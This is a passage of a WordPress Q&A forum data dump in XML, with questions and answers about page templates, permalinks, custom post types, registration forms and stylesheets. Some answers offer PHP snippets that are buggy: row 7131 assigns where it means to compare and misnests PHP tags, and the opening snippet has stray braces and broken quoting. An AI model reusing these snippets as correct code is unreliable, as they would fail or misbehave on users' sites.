$disabled_metaboxes_post_ = get_option('disable[$role]');&#xA;        echo '&amp;lt;style type=text/css&quot;&amp;gt;';&#xA;        $out = ''&#xA;        foreach   ($disabled_metaboxes_post_ as $meta_id)&#xA;        {&#xA;            $out .= '#'.$meta_id . ', ';&#xA;        }&#xA;        $out = substr($out,0,-2);&#xA;        }&#xA;        $out .= ' { display: none !important;} &amp;lt;/style&amp;gt;';&#xA;        echo $out;&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-17T21:10:37.713" LastActivityDate="2011-01-17T21:10:37.713" CommentCount="2" />
  <row Id="7126" PostTypeId="1" CreationDate="2011-01-17T18:48:29.057" Score="0" ViewCount="95" Body="&lt;p&gt;I hard coded the html from resources.php from  a site into page I created the wordpress admin, which used the default page template. Then I entered the following code into the page.php template. The result is &lt;a href=&quot;http://strategichospitalitysearch.com/blog/resources&quot; rel=&quot;nofollow&quot;&gt;http://strategichospitalitysearch.com/blog/resources&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;!-- Start Page Content --&amp;gt;         &#xA; &amp;lt;h1 class=&quot;blog-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;     &amp;lt;?php &#xA;     $page_id = 98; &#xA;     $page_data = get_page( $page_id ); &#xA;     $content = apply_filters('the_content', $page_data-&amp;gt;post_content); &#xA;     $title = $page_data-&amp;gt;post_title; // Get title&#xA;     echo $content; // Output Content&#xA;     ?&amp;gt;   &#xA; &amp;lt;!-- End Page Content --&amp;gt;&#xA; &amp;lt;/div&amp;gt; &#xA;&#xA; &amp;lt;!--End Main Content --&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- End Container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Problem is that it may not work for other pages in the future and the subpages for resources. What is the best approach to this? &lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="2266" LastEditorDisplayName="" LastEditDate="2011-01-17T19:10:21.433" LastActivityDate="2011-01-17T19:42:49.237" Title="What is wrong with my page.php?" Tags="&lt;page-template&gt;" AnswerCount="1" />
  <row Id="7127" PostTypeId="2" ParentId="6071" CreationDate="2011-01-17T19:38:22.077" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks/&lt;/a&gt; does that for custom posts, I'm sure you can easily extend it to support the 'post' post-type as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it extensively on a couple of sites and it works great.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-01-17T19:38:22.077" />
  <row Id="7128" PostTypeId="2" ParentId="6423" CreationDate="2011-01-17T19:39:24.523" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks/&lt;/a&gt; check this plugin, I've used it on a couple of sites and it works great.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2011-01-17T19:39:24.523" />
  <row Id="7129" PostTypeId="2" ParentId="7126" CreationDate="2011-01-17T19:42:49.237" Score="3" ViewCount="" Body="&lt;p&gt;if i understand right the problem is that you assign a static $page_id = 98; &#xA;so no matter what page you go to it will only display that page's content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what  you need is to use the WordPress loop so change your code to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Start Page Content --&amp;gt;         &#xA; &amp;lt;h1 class=&quot;blog-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php &#xA;     if (have_posts()) : while (have_posts()) :  the_post();&#xA;          the_content();&#xA;       endwhile;&#xA;     endif;    &#xA; ?&amp;gt;   &#xA; &amp;lt;!-- End Page Content --&amp;gt;&#xA; &amp;lt;/div&amp;gt; &#xA;&#xA; &amp;lt;!--End Main Content --&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- End Container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this why you get the same results but it will  work on all pages.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-17T19:42:49.237" />
  <row Id="7130" PostTypeId="1" AcceptedAnswerId="7133" CreationDate="2011-01-17T20:18:01.740" Score="2" ViewCount="830" Body="&lt;p&gt;In wordpress 3.1 they finally added the option of allowing posts belonging to a custom post type to be marked as &quot;sticky&quot;... what I can't figure out though is how to enable this so the admin menu option shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking it might have something to do with the &quot;supports&quot; argument when the post type is defined in the functions.php file however I can't find any references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any I on how I can get these sticky options to show up in the admin area?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-08-21T01:33:26.523" Title="Wordpress 3.1 - How does one add sticky post capabilities to post types" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;overridable-functions&gt;&lt;sticky-post&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7131" PostTypeId="2" ParentId="6346" CreationDate="2011-01-17T20:23:53.060" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;updated according to notes in comment&#xA;here you go,&#xA;put this instead of your loop&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (have_posts()) : while (have_posts()) : the_post(); &#xA;        if($day_check = ''){ $day_check = $post-&amp;gt;date}&#xA;        if ($day_check = $post-&amp;gt;date){&#xA;            if (!$day_echod){&#xA;                echo '&amp;lt;div class=&quot;date&quot;&amp;gt;'.the_date().'&amp;lt;/div&amp;gt;';&#xA;                $day_echod = true;&#xA;            }&#xA;        }else{&#xA;            $day_check = the_date();&#xA;            echo '&amp;lt;div class=&quot;date&quot;&amp;gt;'.the_date().'&amp;lt;/div&amp;gt;';&#xA;        }&#xA;            ?&amp;gt;&#xA;            &amp;lt;div class=&quot;title_link&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ;?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php           &#xA;&#xA;               &amp;lt;?php endwhile; ?&amp;gt;&#xA;     &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-18T00:52:01.410" LastActivityDate="2011-01-18T00:52:01.410" CommentCount="2" />
  <row Id="7132" PostTypeId="2" ParentId="7004" CreationDate="2011-01-17T20:29:50.517" Score="1" ViewCount="" Body="&lt;p&gt;@Atari asked for a solution.. People who do not have one should not butt in!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same issue. All other %category% %postname% %post_id% etc. resolve fine, but %tag% remains %tag% in the final permalink!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is a bug. I came across a patch which was for an older version. I did not try it yet ( I do not know how to use it either :P ) because I am using the latest version (3.0.4 I think).. but the problem is still there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to start the url with %tag% but I need it down the URL. The point is that it should work.. regardless of how I use it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Atari if you find a solution please do share it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the patch I found.. I would appreciate anyone telling me how to use it too :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;*** link-template.php   2009-12-14 05:09:55.000000000 -0500&#xA;--- link-template_patched.php   2010-06-21 14:29:24.000000000 -0400&#xA;***************&#xA;*** 88,93 ****&#xA;--- 88,94 ----&#xA;                $leavename? '' : '%postname%',&#xA;                '%post_id%',&#xA;                '%category%',&#xA;+         '%tag%',&#xA;                '%author%',&#xA;                $leavename? '' : '%pagename%',&#xA;        );&#xA;***************&#xA;*** 128,134 ****&#xA;--- 129,151 ----&#xA;                                $category = is_wp_error( $default_category ) ? '' : $default_category-&gt;slug;&#xA;                        }&#xA;                }&#xA;+&#xA;+               if ( strpos($permalink, '%tag%') !== false ) {&#xA;+                       $tags = get_the_tags($post-&gt;ID);&#xA;+&#xA;+                       if ( $tags ) {&#xA;+                               usort($tags, '_usort_terms_by_ID'); // order by ID&#xA;+                               $tag = $tags[0]-&gt;slug;&#xA;+                       }&#xA;&#xA;+                       // show default tag in permalinks, without&#xA;+                       // having to assign it explicitly&#xA;+                       if ( empty($tag) ) {&#xA;+                               $default_tag = get_tag( get_option( 'default_category' ) );&#xA;+                               $tag = is_wp_error( $default_tag ) ? '' : $default_tag-&gt;slug;&#xA;+                       }&#xA;+               }&#xA;+&#xA;                $author = '';&#xA;                if ( strpos($permalink, '%author%') !== false ) {&#xA;                        $authordata = get_userdata($post-&gt;post_author);&#xA;***************&#xA;*** 147,152 ****&#xA;--- 164,170 ----&#xA;                        $post-&gt;post_name,&#xA;                        $post-&gt;ID,&#xA;                        $category,&#xA;+             $tag,&#xA;                        $author,&#xA;                        $post-&gt;post_name,&#xA;                );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-01-17T20:29:50.517" CommentCount="4" />
  <row Id="7133" PostTypeId="2" ParentId="7130" CreationDate="2011-01-17T20:37:29.033" Score="2" ViewCount="" Body="&lt;p&gt;The feature was added then removed before the beta release.  It was decided that custom post types should not support the sticky argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See track &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12702&quot; rel=&quot;nofollow&quot;&gt;ticket #12702&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-17T20:37:29.033" CommentCount="4" />
  <row Id="7134" PostTypeId="1" AcceptedAnswerId="7200" CreationDate="2011-01-17T20:48:18.117" Score="3" ViewCount="1783" Body="&lt;p&gt;I'm looking for an easy way to place the user registration form on the front-end of a WordPress site. I've already used wp_login_form() to place the login form on the front end, but now I need to do the same with the signup form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-01-20T13:35:36.820" LastActivityDate="2011-08-03T12:18:08.097" Title="Front-end Register Form" Tags="&lt;wp-admin&gt;&lt;forms&gt;&lt;registration&gt;&lt;front-end&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="5" />
  <row Id="7135" PostTypeId="2" ParentId="7134" CreationDate="2011-01-17T21:41:24.637" Score="1" ViewCount="" Body="&lt;p&gt;Try the simplemodal login plugin. It allows registration and login (You have to enable user registration), and it's got a very nice look to it. &lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-17T21:41:24.637" CommentCount="5" />
  <row Id="7136" PostTypeId="2" ParentId="6346" CreationDate="2011-01-17T21:49:04.513" Score="9" ViewCount="" Body="&lt;p&gt;You may notice that I did more or less exactly this for Matt's site: &lt;a href=&quot;http://ma.tt&quot; rel=&quot;nofollow&quot;&gt;http://ma.tt&lt;/a&gt;. Every set of posts is grouped by the day. The basic principle is to keep track of your day in the loop, then print the date and related stuff only when it changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a basic Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;  the_title();&#xA;  the_content();&#xA;endwhile; endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just prints the title and content (without any formatting or anything) for everything in the current Loop. Now, you want it to pop out a new date every time the date changes. So you need to keep track of when it changes. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loopday = '';&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;  if ($loopday !== get_the_time('D M j')) {&#xA;    $loopday = get_the_time('D M j');&#xA;    echo $loopday;&#xA;  }&#xA;  the_title();&#xA;  the_content();&#xA;endwhile; endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does is to store the date that you're wanting to output into a variable. Each pass through the loop, it gets it again and checks to see if it has changed. If it has not changed, then nothing happens. If it has changed, then it sets the variable with the new date string, outputs it, then moves on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this is just an example. The specific details depend on how your existing loop works and how you want to output the information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it's true that the_date() does this by default, sometimes it's easier to do it yourself in this manner, for formatting reasons.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-17T21:49:04.513" CommentCount="4" />
  <row Id="7137" PostTypeId="2" ParentId="7134" CreationDate="2011-01-17T21:52:06.773" Score="0" ViewCount="" Body="&lt;p&gt;You may use &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt; plugin&lt;/p&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-01-17T21:52:06.773" CommentCount="2" />
  <row Id="7138" PostTypeId="1" AcceptedAnswerId="7195" CreationDate="2011-01-17T22:07:27.953" Score="0" ViewCount="240" Body="&lt;p&gt;What do i need to do to enable categories and tags for a custom post type i´ve made? I use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Create custom post type: &quot;Tilbud&quot; */&#xA;register_post_type('tilbud', array(&#xA;'label' =&amp;gt; __('Tilbud'),&#xA;'singular_label' =&amp;gt; __('Tilbud'),&#xA;'public' =&amp;gt; true,&#xA;'show_ui' =&amp;gt; true,&#xA;'capability_type' =&amp;gt; 'post',&#xA;'hierarchical' =&amp;gt; false,&#xA;'rewrite' =&amp;gt; false,&#xA;'query_var' =&amp;gt; false,&#xA;'supports' =&amp;gt; array('title')&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-01-18T18:03:09.810" Title="tags &amp; categories with custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7139" PostTypeId="2" ParentId="7102" CreationDate="2011-01-17T22:08:46.207" Score="1" ViewCount="" Body="&lt;p&gt;Best way would be to use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-term-meta/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/simple-term-meta/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-17T22:08:46.207" CommentCount="2" />
  <row Id="7140" PostTypeId="2" ParentId="7138" CreationDate="2011-01-17T22:52:47.727" Score="3" ViewCount="" Body="&lt;p&gt;change your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Create custom post type: &quot;Tilbud&quot; */&#xA;register_post_type('tilbud', array(&#xA;'label' =&amp;gt; __('Tilbud'),&#xA;'singular_label' =&amp;gt; __('Tilbud'),&#xA;'public' =&amp;gt; true,&#xA;'show_ui' =&amp;gt; true,&#xA;'capability_type' =&amp;gt; 'post',&#xA;'hierarchical' =&amp;gt; false,&#xA;'rewrite' =&amp;gt; false,&#xA;'query_var' =&amp;gt; false,&#xA;'taxonomies' =&amp;gt; array('post_tag','category'),&#xA;'supports' =&amp;gt; array('title')&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the function register_post_type takes a name of the post type and an array of arguments&#xA;one of these is &quot;taxonomies&quot; and that is what you are missing.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-17T22:52:47.727" CommentCount="3" />
  <row Id="7141" PostTypeId="1" CreationDate="2011-01-18T00:14:57.317" Score="1" ViewCount="256" Body="&lt;p&gt;i would like to add a flash slideshow to my wordpress site, but do not want to manually add the pictures. I currently use nextgen to manage my galleries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page set up that shows the most recent pictures, and there is an rss feed available for this. (http://rapscallion.eu/category/gallery/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What flash slideshow can use this rss feed as input? It would be beneficial if it had a wordpress plugin and some documentation?&lt;/p&gt;&#xA;" OwnerUserId="2323" LastActivityDate="2011-08-16T10:25:20.907" Title="What flash slideshow player can read an rss feed as a source?" Tags="&lt;rss&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7142" PostTypeId="1" AcceptedAnswerId="7155" CreationDate="2011-01-18T00:41:17.480" Score="0" ViewCount="325" Body="&lt;p&gt;When certain conditions are met (e.g. post vs. page or a category is tagged, etc) I would like to load an additional CSS file. This file would, in theory, change link colors. Or perhaps change the background color. Cosmetic changes. My thinking was to add code to functions.php, however, I don't think this is actually adding the CSS page. Even (even though right now there is no conditional, it should always just add this new page). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /*&#xA;  * register with hook 'wp_print_styles'&#xA;  */&#xA;  add_action('wp_print_styles', 'add_my_stylesheet');&#xA;&#xA;/*&#xA; * Enqueue style-file, if it exists.&#xA; */&#xA;&#xA;function add_my_stylesheet() {&#xA;    $myStyleUrl = WP_THEME_URL . '/newStyle.css';&#xA;    $myStyleFile = WP_THEME_URL . '/newStyle.css';&#xA;    if ( file_exists($myStyleFile) ) {&#xA;        wp_register_style('myStyleSheets', $myStyleUrl);&#xA;        wp_enqueue_style( 'myStyleSheets');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="1990" LastEditorUserId="1990" LastEditorDisplayName="" LastEditDate="2011-01-18T02:09:24.420" LastActivityDate="2011-01-18T07:09:13.077" Title="How to add CSS style sheet dynamically in wordpress" Tags="&lt;css&gt;&lt;functions&gt;&lt;stylesheet&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7143" PostTypeId="1" AcceptedAnswerId="7146" CreationDate="2011-01-18T00:51:25.593" Score="0" ViewCount="174" Body="&lt;p&gt;On the page where one adds/removes/modifies taxonomies, what would I need to add to my functions.php file to remove the tag cloud? &lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-04-18T03:40:42.260" Title="How to remove tag cloud from taxonomy admin edit page?" Tags="&lt;customization&gt;&lt;tags&gt;&lt;functions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7144" PostTypeId="1" AcceptedAnswerId="16245" CreationDate="2011-01-18T01:02:55.250" Score="0" ViewCount="295" Body="&lt;p&gt;I am stuck on two issues in trying to get my custom post type for events to function correctly in the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st) I have upgraded to wordpress 3.1 after which the code (below) which was working fine on wordpress 3.0 no longer shows any results and I can't figure out what might have messed this up. Essentially, in the code below I had the admin area sorting all posts by the event data/time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// SET A CUSTOM SORT ORDER FOR EVENTS&#xA;   function set_event_list_admin_order($wp_query) {&#xA;    if (is_admin()) {  &#xA;        // GET THE POST TYPE FROM THE QUERY&#xA;        $todaysDate = time();&#xA;        $post_type = $wp_query-&amp;gt;query['post_type'];  &#xA;        if ( $post_type == 'events') {&#xA;            // 'meta_key' VALUE CAN BE ANY CUSTOM FIELD  &#xA;            $wp_query-&amp;gt;set('meta_key', '_mbcombined_datetime');&#xA;            // 'meta_compare' VALUE CAN BE ANY POST STATUS  &#xA;            $wp_query-&amp;gt;set('meta_compare', '&amp;gt;=');&#xA;            // 'meta_value' VALUE CAN BE ANY POST STATUS  &#xA;            $wp_query-&amp;gt;set('meta_value', '$todaysDate');&#xA;            // 'orderby' VALUE CAN BE ANY COLUMN NAME  &#xA;            $wp_query-&amp;gt;set('orderby', 'meta_value');&#xA;            // 'order' VALUE CAN BE ASC or DESC  &#xA;            $wp_query-&amp;gt;set('order', 'ASC');&#xA;            // 'post_status' VALUE CAN BE ANY POST STATUS  &#xA;            $wp_query-&amp;gt;set('post_status', 'publish,pending,draft,future,private');&#xA;        }&#xA;    }&#xA;   }&#xA;   add_filter('pre_get_posts', 'set_event_list_admin_order');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2nd) I have not been able to figure out what code I would need to add so that a checkbox is added above the list (by the filter by area) which let's a user check/uncheck &quot;past events&quot;. Essentially, all I would like to do here is extend the code I have above so that by default it does not show any events where the date is older than tomorrows date. However, I do need to provide the checkbox option to &quot;include past events&quot; which should auto-reload the list. Any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-05-03T15:07:53.030" Title="WP 3.1 &amp; Sorting Admin Post List" Tags="&lt;custom-post-types&gt;&lt;admin&gt;&lt;customization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7145" PostTypeId="2" ParentId="7141" CreationDate="2011-01-18T01:21:10.157" Score="0" ViewCount="" Body="&lt;h2&gt;SlideShowPro is the best Flash slideshow player for WordPress&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Back before it was &quot;Un Cool&quot; to use Flash I used a flash component called &lt;a href=&quot;http://slideshowpro.net/&quot; rel=&quot;nofollow&quot;&gt;SlideShowPro for Flash&lt;/a&gt;.  It is very extensible and uses an XML file to load the content into the slideshow.  It also allows you to customize all aspects of the display using Adobe Flash CS4 or CS5.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has the ability to auto load pictures from a Media RSS feed and there are a number of PHP scripts available out there that will generate the XML on the fly for any images added to a folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just checked the website and they have brought the product along in the last year or so.  It is now generates slideshows for the iOs and Android mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slideshow player works with the &lt;a href=&quot;http://wordpress.org/extend/plugins/slidepress/screenshots/&quot; rel=&quot;nofollow&quot;&gt;SlidePress WordPress Plugin&lt;/a&gt; and there is also the NextGEN Gallery &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery-slidepress-xml/&quot; rel=&quot;nofollow&quot;&gt;Slidepress XML Plugin&lt;/a&gt; which creates the proper XML file for your NextGen slideshows.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://slideshowpro.net/products/slideshowpro_player/#sspsa-slidepress&quot; rel=&quot;nofollow&quot;&gt;More information on using SlideShowPro with WordPress&lt;/a&gt;&lt;/h2&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-18T01:21:10.157" CommentCount="2" />
  <row Id="7146" PostTypeId="2" ParentId="7143" CreationDate="2011-01-18T01:46:18.293" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure what filter you would add to your functions.php, but I believe you could get rid of the tag cloud with the Adminimize plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/adminimize/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-01-18T01:46:18.293" />
  <row Id="7147" PostTypeId="2" ParentId="7134" CreationDate="2011-01-18T02:16:50.030" Score="0" ViewCount="" Body="&lt;p&gt;Gravity Forms is the best contact form plugin for WordPress, IMO.  There newest version, in beta, has a user registration add-on.  I have tried it and it works great.  It will cost you though...it is $199 for a developer license.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pricing page&#xA;&lt;a href=&quot;http://www.gravityforms.com/purchase-gravity-forms/&quot; rel=&quot;nofollow&quot;&gt;http://www.gravityforms.com/purchase-gravity-forms/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blog post talking about the user registration add-on&#xA;&lt;a href=&quot;http://www.gravityhelp.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gravityhelp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend this plugin to the WordPress community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Detailed Specifications:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of the features of the User Registration Add-On:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User Registration – Setup a form to&#xA;register a user by mapping your form&#xA;fields to available user registration&#xA;fields in WordPress.&lt;/li&gt;&#xA;&lt;li&gt;User Meta – Easily populate user meta&#xA;data such as bio, instant messaging&#xA;id, first name, last name as well as&#xA;custom user meta to suit your needs.&lt;/li&gt;&#xA;&lt;li&gt;BuddyPress Integration – Populate&#xA;BuddyPress profile field data as part&#xA;of the user registration process.&#xA;Currently works with BuddyPress&#xA;v1.2.6.&lt;/li&gt;&#xA;&lt;li&gt;Payment Integration – Require a&#xA;payment before user registration&#xA;occurs. Includes support for PayPal&#xA;subscriptions, and changing the user&#xA;role or deleting the user if the&#xA;subscription is canceled.&lt;/li&gt;&#xA;&lt;li&gt;Password Field – The User&#xA;Registration Add-On adds a Password&#xA;field to Gravity Forms for use in&#xA;your forms. The Password field&#xA;includes a confirmation option, as&#xA;well as a built in password strength&#xA;checker option.&lt;/li&gt;&#xA;&lt;li&gt;Post Author – Integrate the User&#xA;Registration Add-On and Post Creation&#xA;on a single form so that the author&#xA;of the post that is created is the&#xA;user registered by the add-on.&lt;/li&gt;&#xA;&lt;li&gt;Site Creation – Automatically create&#xA;a site on a WordPress network&#xA;(multi-site) install and assign the&#xA;newly created users as the&#xA;Administrator for the site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-01-18T02:16:50.030" />
  <row Id="7148" PostTypeId="1" AcceptedAnswerId="7153" CreationDate="2011-01-18T02:39:00.187" Score="0" ViewCount="55" Body="&lt;p&gt;How do I add a link under my home page banner to my blog summary page.  My default page is a &quot;page&quot;, not a &quot;post&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nealwalters.com&quot; rel=&quot;nofollow&quot;&gt;http://nealwalters.com&lt;/a&gt; on 3.0.4 &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-18T05:57:22.790" Title="What's the URL to my blogs (from my home page - which is a &quot;page&quot;)" Tags="&lt;links&gt;&lt;urls&gt;&lt;blog&gt;" AnswerCount="1" />
  <row Id="7149" PostTypeId="2" ParentId="7134" CreationDate="2011-01-18T02:52:32.227" Score="0" ViewCount="" Body="&lt;p&gt;Here's a nice and easy way I've done this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the field names and any other stuff from the current Wordpress registration form. Make sure your custom form has the same name fields including hidden ones and then merely point the form action to the proper registration url: &lt;a href=&quot;http://www.yourblog.com/wp-login.php?action=register&quot; rel=&quot;nofollow&quot;&gt;http://www.yourblog.com/wp-login.php?action=register&lt;/a&gt; - You then might want to change how the form redirects after registration as well if you don't like how it is handled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also this plugin called Insite Login which allows you to drop in the registration form, login form and others into pages on your site: &lt;a href=&quot;http://wordpress.org/extend/plugins/insitelogin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/insitelogin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first solution should do what you want it to do though.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-18T02:52:32.227" />
  <row Id="7150" PostTypeId="1" AcceptedAnswerId="7191" CreationDate="2011-01-18T03:01:51.403" Score="1" ViewCount="42" Body="&lt;p&gt;Is there any email alert list for security fixes? &#xA;I'd rather not rely on just an RSS feed. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-18T17:24:12.343" Title="Subscribe to email for security fixes?" Tags="&lt;security&gt;&lt;email&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7151" PostTypeId="2" ParentId="7134" CreationDate="2011-01-18T03:02:01.353" Score="1" ViewCount="" Body="&lt;p&gt;in case you want to handle this yourself, here's what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect', 'register_a_user');&#xA;function register_a_user(){&#xA;  if(isset($_GET['do']) &amp;amp;&amp;amp; $_GET['do'] == 'register'):&#xA;    $errors = array();&#xA;    if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email';&#xA;    if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer';&#xA;&#xA;    $user_login = esc_attr($_POST['user']);&#xA;    $user_email = esc_attr($_POST['email']);&#xA;    require_once(ABSPATH.WPINC.'/registration.php');&#xA;&#xA;    $sanitized_user_login = sanitize_user($user_login);&#xA;    $user_email = apply_filters('user_registration_email', $user_email);&#xA;&#xA;    if(!is_email($user_email)) $errors[] = 'invalid e-mail';&#xA;    elseif(email_exists($user_email)) $errors[] = 'this email is already registered, 